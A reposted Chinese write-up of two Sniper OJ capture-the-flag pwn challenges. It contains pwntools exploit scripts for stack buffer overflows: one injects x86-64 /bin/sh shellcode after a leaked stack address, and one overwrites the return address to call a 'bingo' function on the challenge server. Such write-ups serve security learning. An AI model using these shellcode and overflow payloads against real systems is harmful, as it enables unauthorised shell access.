首页 > 代码库 > Sniper OJ部分writeup
Sniper OJ部分writeup
0x00 shellcode pwn
因为题目直接有源码,我就不拖进IDA了,直接看代码
这是一个典型的栈溢出,我们只需要构造shellcode获得/bin/sh权限就可以得到flag.下面是所用脚本。
from pwn import * from sys import * reload(sys) sys.setdefaultencoding(‘gb18030‘) shell_code = ‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05‘ conn = remote(‘123.207.114.37‘,30001) addr = conn.recvuntil(‘]‘) add = int(addr[-13:-1],16) shellcode_add = p64(add + 24 + 8) v = 24*"a" + shellcode_add + shell_code conn.send(v+‘\n‘) conn.interactive() cd
运行脚本,得到flag
0x01 bof pwn
源码如下
这是一个更简单的栈溢出,只要构造溢出调用bingo函数就能得到flag
把源文件拖进ida,发现bingo函数位于地址0x0000000000400616处
于是编写脚本
#!/usr/bin/python from pwn import * #context.log_level = ‘DEBUG‘ r = remote(‘123.207.114.37‘,30000) r.send(‘A‘*24+‘\x16\x06\x40\x00\x00\x00\x00\x00‘) r.interactive()
得到flag
Sniper OJ部分writeup
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。